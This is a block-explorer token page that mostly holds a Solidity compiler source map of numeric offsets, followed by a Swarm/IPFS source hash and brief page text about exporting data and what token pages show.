:73:0::1;10131:402:1::0;2148:73:0::1;2232:19;2242:8;2232:9;:19::i;12576:168::-:0;1890:10;1879:7;1792;1819:6;-1:-1:-1;;;;;1819:6:0;;1746:87;1879:7;-1:-1:-1;;;;;1879:21:0;;1871:66;;;;-1:-1:-1;;;1871:66:0;;;;;;;:::i;:::-;12647:13:::1;::::0;::::1;::::0;::::1;;;12646:14;:27:::0;::::1;;;;12664:2;12670:3;12664:9;12646:27;12638:36;;;::::0;::::1;;12685:7;:12:::0;;;12723:13:::1;::::0;::::1;::::0;;;::::1;12576:168:::0;:::o;6180:308::-;-1:-1:-1;;;;;6275:20:0;;6267:52;;;;-1:-1:-1;;;6267:52:0;;10740:2:1;6267:52:0;;;10722:21:1;10779:2;10759:18;;;10752:30;-1:-1:-1;;;10798:18:1;;;10791:49;10857:18;;6267:52:0;10538:343:1;6267:52:0;-1:-1:-1;;;;;6338:21:0;;6330:53;;;;-1:-1:-1;;;6330:53:0;;10740:2:1;6330:53:0;;;10722:21:1;10779:2;10759:18;;;10752:30;-1:-1:-1;;;10798:18:1;;;10791:49;10857:18;;6330:53:0;10538:343:1;6330:53:0;-1:-1:-1;;;;;6394:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6447:33;;1361:25:1;;;6447:33:0;;1334:18:1;6447:33:0;;;;;;;6180:308;;;:::o;8269:1070::-;8370:4;8342;8348:2;4549:13;;;;;;;;;;;:47;;;-1:-1:-1;4574:7:0;:22;-1:-1:-1;;;;;4566:30:0;;;4574:22;;4566:30;4549:47;:74;;;-1:-1:-1;;;;;;4600:23:0;;;;;;:17;:23;;;;;;;;4549:74;4541:116;;;;-1:-1:-1;;;4541:116:0;;11088:2:1;4541:116:0;;;11070:21:1;11127:2;11107:18;;;11100:30;11166:31;11146:18;;;11139:59;11215:18;;4541:116:0;10886:353:1;4541:116:0;-1:-1:-1;;;;;8395:18:0;::::1;8387:68;;;::::0;-1:-1:-1;;;8387:68:0;;11446:2:1;8387:68:0::1;::::0;::::1;11428:21:1::0;11485:2;11465:18;;;11458:30;11524:34;11504:18;;;11497:62;-1:-1:-1;;;11575:18:1;;;11568:35;11620:19;;8387:68:0::1;11244:401:1::0;8387:68:0::1;-1:-1:-1::0;;;;;8474:16:0;::::1;8466:64;;;::::0;-1:-1:-1;;;8466:64:0;;11852:2:1;8466:64:0::1;::::0;::::1;11834:21:1::0;11891:2;11871:18;;;11864:30;11930:34;11910:18;;;11903:62;-1:-1:-1;;;11981:18:1;;;11974:33;12024:19;;8466:64:0::1;11650:399:1::0;8466:64:0::1;8554:11:::0;;;:21:::1;;-1:-1:-1::0;8569:6:0::1;::::0;::::1;;8554:21;8551:103;;;8599:32;8614:4;8620:2;8624:6;8599:14;:32::i;:::-;8592:39;;;;8551:103;8684:13;-1:-1:-1::0;;;;;8678:19:0::1;:2;-1:-1:-1::0;;;;;8678:19:0::1;;;:45;;;;-1:-1:-1::0;;;;;;8702:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8701:22;8678:45;:77;;;;-1:-1:-1::0;8733:7:0::1;:22:::0;-1:-1:-1;;;;;8727:28:0;;::::1;8733:22:::0;::::1;8727:28;;8678:77;8674:192;;;2900:3;2954:12;2627:1;2954:2;:12;:::i;:::-;2805:32;::::0;:13:::1;:32;:::i;:::-;2881:16;::::0;:1:::1;:16;:::i;:::-;:22;;;;:::i;:::-;-1:-1:-1::0;;;;;5844:18:0;;5827:7;5844:18;;;:9;:18;;;;;;8780:22:::1;::::0;:6;:22:::1;:::i;:::-;:36;;8772:82;;;::::0;-1:-1:-1;;;8772:82:0;;12256:2:1;8772:82:0::1;::::0;::::1;12238:21:1::0;12295:2;12275:18;;;12268:30;12334:34;12314:18;;;12307:62;-1:-1:-1;;;12385:18:1;;;12378:31;12426:19;;8772:82:0::1;12054:397:1::0;8772:82:0::1;8882:6;::::0;::::1;;8881:7;:30:::0;::::1;;;;8898:13;-1:-1:-1::0;;;;;8892:19:0::1;:2;-1:-1:-1::0;;;;;8892:19:0::1;;8881:30;:58;;;;-1:-1:-1::0;;;;;;8916:23:0;::::1;;::::0;;;:17:::1;:23;::::0;;;;;::::1;;8915:24;8881:58;:84;;;;-1:-1:-1::0;;;;;;8944:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8943:22;8881:84;8878:135;;;8981:20;8994:6;8981:12;:20::i;:::-;-1:-1:-1::0;;;;;9050:23:0;::::1;9034:12;9050:23:::0;;;:17:::1;:23;::::0;;;;;::::1;;9049:24;:50:::0;::::1;;;-1:-1:-1::0;;;;;;9078:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;9077:22;9049:50;:113;;;;;9125:13;-1:-1:-1::0;;;;;9117:21:0::1;:4;-1:-1:-1::0;;;;;9117:21:0::1;;:44;;;;9148:13;-1:-1:-1::0;;;;;9142:19:0::1;:2;-1:-1:-1::0;;;;;9142:19:0::1;;9117:44;9034:128;;9194:7;9191:132;;;9223:32;9238:4;9244:2;9248:6;9223:14;:32::i;:::-;9216:39;;;;;9191:132;9291:32;9306:4;9312:2;9316:6;9291:14;:32::i;4668:1::-;8269:1070:::0;;;;;;;:::o;10842:657::-;4417:6;:13;;-1:-1:-1;;4417:13:0;4426:4;4417:13;;;:6;10937:24:::1;10955:4;-1:-1:-1::0;;;;;5844:18:0;5827:7;5844:18;;;:9;:18;;;;;;;5761:103;10937:24:::1;10911:50:::0;-1:-1:-1;3665:5:0::1;2954:12;2627:1;2954:2;:12;:::i;:::-;2805:32;::::0;:13:::1;:32;:::i;:::-;3646:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;10975:15;:36;:56;;;;11016:15;11024:6;11016:7;:15::i;:::-;11015:16;10975:56;10972:233;;;11047:7;;;10972:233;11111:21;::::0;3665:5:::1;2954:12;2627:1;2954:2;:12;:::i;:::-;2805:32;::::0;:13:::1;:32;:::i;:::-;3646:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;11090:42;;;;:::i;:::-;11072:15;:60;11069:136;;;11184:21;::::0;3665:5:::1;2954:12;2627:1;2954:2;:12;:::i;:::-;2805:32;::::0;:13:::1;:32;:::i;:::-;3646:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;11163:42;;;;:::i;:::-;11145:60;;11069:136;11254:21;11288:33;11305:15:::0;11288:16:::1;:33::i;:::-;11343:18;11364:41;11388:17:::0;11364:21:::1;:41;:::i;:::-;11343:62:::0;-1:-1:-1;11419:14:0;;11416:76:::1;;11461:19;11469:10;11461:7;:19::i;:::-;10897:602;;;4441:1;-1:-1:-1::0;4453:6:0;:14;;-1:-1:-1;;4453:14:0;;;10842:657::o;2267:173::-;2323:16;2342:6;;-1:-1:-1;;;;;2359:17:0;;;-1:-1:-1;;;;;;2359:17:0;;;;;;2392:40;;2342:6;;;;;;;2392:40;;2323:16;2392:40;2312:128;2267:173;:::o;9682:420::-;-1:-1:-1;;;;;9816:17:0;;9775:4;9816:17;;;:9;:17;;;;;;9852:23;;;;9844:63;;;;-1:-1:-1;;;9844:63:0;;12791:2:1;9844:63:0;;;12773:21:1;12830:2;12810:18;;;12803:30;12869:29;12849:18;;;12842:57;12916:18;;9844:63:0;12589:351:1;9844:63:0;-1:-1:-1;;;;;9942:17:0;;;;;;;:9;:17;;;;;;:27;;;;;;;9991:20;;;;;;;;:30;;9963:6;;9942:17;9991:30;;9963:6;;9991:30;:::i;:::-;;;;;;;;10054:9;-1:-1:-1;;;;;10037:35:0;10046:6;-1:-1:-1;;;;;10037:35:0;;10065:6;10037:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;10037:35:0;;;;;;;;-1:-1:-1;10090:4:0;;9682:420;-1:-1:-1;;;;9682:420:0:o;9347:326::-;9430:4;9447:12;9462:26;9471:4;9477:2;9481:6;9462:8;:26::i;:::-;9447:41;-1:-1:-1;9506:8:0;;9503:113;;9534:41;9549:4;9563;9570;9534:14;:41::i;:::-;-1:-1:-1;9590:14:0;9600:4;9590:14;;:::i;:::-;;;9503:113;9633:32;9648:4;9654:2;9658:6;9633:14;:32::i;:::-;9626:39;9347:326;-1:-1:-1;;;;;9347:326:0:o;10580:254::-;10635:4;10674:7;;10659:12;:22;:62;;;;-1:-1:-1;10704:12:0;10685:32;;;;:18;:32;;;;;;10720:1;-1:-1:-1;10659:62:0;:167;;;;-1:-1:-1;10750:21:0;;:26;:75;;10804:21;;3665:5;2954:12;2627:1;2954:2;:12;:::i;:::-;2805:32;;:13;:32;:::i;:::-;3646:16;;:1;:16;:::i;:::-;:24;;;;:::i;:::-;10783:42;;;;:::i;:::-;10750:75;;;10779:1;10750:75;10739:6;:87;;10652:174;10580:254;-1:-1:-1;;10580:254:0:o;11885:552::-;11970:12;11951:32;;;;:18;:32;;;;;:34;;;;;;:::i;:::-;;;;-1:-1:-1;;12080:16:0;;;12094:1;12080:16;;;;;;;;12056:21;;12080:16;;;;;;;;;;-1:-1:-1;12080:16:0;12056:40;;12125:4;12107;12112:1;12107:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12107:23:0;;;-1:-1:-1;;;;;12107:23:0;;;;;3502:42;-1:-1:-1;;;;;12151:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12141:4;12146:1;12141:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12141:32:0;;;:7;;;;;;;;;;;:32;12190:214;;-1:-1:-1;;;12190:214:0;;3502:42;;12190:66;;:214;;12271:11;;12297:1;;12341:4;;12368;;12388:15;;12190:214;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12186:244;;12422:7;11885:552;:::o;11507:153::-;11588:25;;11563:12;;-1:-1:-1;;;;;11588:25:0;11627:11;11637:1;11627:9;:11;:::i;:::-;11580:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11507:153:0:o;10110:462::-;10192:12;10224:7;;10220:1;:11;:37;;;;;10245:12;10235:7;;:22;10220:37;10217:348;;;3206:3;10296:13;-1:-1:-1;;;;;10290:19:0;:2;-1:-1:-1;;;;;10290:19:0;;:76;;10348:11;:18;10290:76;;;10326:19;;10290:76;10280:87;;:6;:87;:::i;:::-;:105;;;;:::i;:::-;10273:112;;10217:348;;;3206:3;10463:13;-1:-1:-1;;;;;10455:21:0;:4;-1:-1:-1;;;;;10455:21:0;;:67;;10499:7;;:12;:22;;10519:2;10455:67;;10499:22;10514:2;10455:67;;;10493:2;10455:67;10445:78;;;;:6;:78;:::i;:::-;:96;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2299:316::-;2376:6;2384;2392;2445:2;2433:9;2424:7;2420:23;2416:32;2413:52;;;2461:1;2458;2451:12;2413:52;-1:-1:-1;;2484:23:1;;;2554:2;2539:18;;2526:32;;-1:-1:-1;2605:2:1;2590:18;;;2577:32;;2299:316;-1:-1:-1;2299:316:1:o;3081:248::-;3149:6;3157;3210:2;3198:9;3189:7;3185:23;3181:32;3178:52;;;3226:1;3223;3216:12;3178:52;-1:-1:-1;;3249:23:1;;;3319:2;3304:18;;;3291:32;;-1:-1:-1;3081:248:1:o;3643:388::-;3711:6;3719;3772:2;3760:9;3751:7;3747:23;3743:32;3740:52;;;3788:1;3785;3778:12;3740:52;3827:9;3814:23;3846:31;3871:5;3846:31;:::i;:::-;3896:5;-1:-1:-1;3953:2:1;3938:18;;3925:32;3966:33;3925:32;3966:33;:::i;:::-;4018:7;4008:17;;;3643:388;;;;;:::o;4036:180::-;4095:6;4148:2;4136:9;4127:7;4123:23;4119:32;4116:52;;;4164:1;4161;4154:12;4116:52;-1:-1:-1;4187:23:1;;4036:180;-1:-1:-1;4036:180:1:o;4221:127::-;4282:10;4277:3;4273:20;4270:1;4263:31;4313:4;4310:1;4303:15;4337:4;4334:1;4327:15;4353:422;4442:1;4485:5;4442:1;4499:270;4520:7;4510:8;4507:21;4499:270;;;4579:4;4575:1;4571:6;4567:17;4561:4;4558:27;4555:53;;;4588:18;;:::i;:::-;4638:7;4628:8;4624:22;4621:55;;;4658:16;;;;4621:55;4737:22;;;;4697:15;;;;4499:270;;;4503:3;4353:422;;;;;:::o;4780:806::-;4829:5;4859:8;4849:80;;-1:-1:-1;4900:1:1;4914:5;;4849:80;4948:4;4938:76;;-1:-1:-1;4985:1:1;4999:5;;4938:76;5030:4;5048:1;5043:59;;;;5116:1;5111:130;;;;5023:218;;5043:59;5073:1;5064:10;;5087:5;;;5111:130;5148:3;5138:8;5135:17;5132:43;;;5155:18;;:::i;:::-;-1:-1:-1;;5211:1:1;5197:16;;5226:5;;5023:218;;5325:2;5315:8;5312:16;5306:3;5300:4;5297:13;5293:36;5287:2;5277:8;5274:16;5269:2;5263:4;5260:12;5256:35;5253:77;5250:159;;;-1:-1:-1;5362:19:1;;;5394:5;;5250:159;5441:34;5466:8;5460:4;5441:34;:::i;:::-;5511:6;5507:1;5503:6;5499:19;5490:7;5487:32;5484:58;;;5522:18;;:::i;:::-;5560:20;;4780:806;-1:-1:-1;;;4780:806:1:o;5591:140::-;5649:5;5678:47;5719:4;5709:8;5705:19;5699:4;5678:47;:::i;5736:168::-;5809:9;;;5840;;5857:15;;;5851:22;;5837:37;5827:71;;5878:18;;:::i;6267:356::-;6469:2;6451:21;;;6488:18;;;6481:30;6547:34;6542:2;6527:18;;6520:62;6614:2;6599:18;;6267:356::o;7030:184::-;7100:6;7153:2;7141:9;7132:7;7128:23;7124:32;7121:52;;;7169:1;7166;7159:12;7121:52;-1:-1:-1;7192:16:1;;7030:184;-1:-1:-1;7030:184:1:o;7900:277::-;7967:6;8020:2;8008:9;7999:7;7995:23;7991:32;7988:52;;;8036:1;8033;8026:12;7988:52;8068:9;8062:16;8121:5;8114:13;8107:21;8100:5;8097:32;8087:60;;8143:1;8140;8133:12;8182:127;8243:10;8238:3;8234:20;8231:1;8224:31;8274:4;8271:1;8264:15;8298:4;8295:1;8288:15;9779:125;9844:9;;;9865:10;;;9862:36;;;9878:18;;:::i;9909:217::-;9949:1;9975;9965:132;;10019:10;10014:3;10010:20;10007:1;10000:31;10054:4;10051:1;10044:15;10082:4;10079:1;10072:15;9965:132;-1:-1:-1;10111:9:1;;9909:217::o;12456:128::-;12523:9;;;12544:11;;;12541:37;;;12558:18;;:::i;12945:135::-;12984:3;13005:17;;;13002:43;;13025:18;;:::i;:::-;-1:-1:-1;13072:1:1;13061:13;;12945:135::o;13217:127::-;13278:10;13273:3;13269:20;13266:1;13259:31;13309:4;13306:1;13299:15;13333:4;13330:1;13323:15;13349:251;13419:6;13472:2;13460:9;13451:7;13447:23;13443:32;13440:52;;;13488:1;13485;13478:12;13440:52;13520:9;13514:16;13539:31;13564:5;13539:31;:::i;13605:980::-;13867:4;13915:3;13904:9;13900:19;13946:6;13935:9;13928:25;13972:2;14010:6;14005:2;13994:9;13990:18;13983:34;14053:3;14048:2;14037:9;14033:18;14026:31;14077:6;14112;14106:13;14143:6;14135;14128:22;14181:3;14170:9;14166:19;14159:26;;14220:2;14212:6;14208:15;14194:29;;14241:1;14251:195;14265:6;14262:1;14259:13;14251:195;;;14330:13;;-1:-1:-1;;;;;14326:39:1;14314:52;;14421:15;;;;14386:12;;;;14362:1;14280:9;14251:195;;;-1:-1:-1;;;;;;;14502:32:1;;;;14497:2;14482:18;;14475:60;-1:-1:-1;;;14566:3:1;14551:19;14544:35;14463:3;13605:980;-1:-1:-1;;;13605:980:1:o

Swarm Source

ipfs://27cb7d5214b50077faf7f9e16ddfbd30e23499b1b0a5be3ba732e45592eb1ee7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.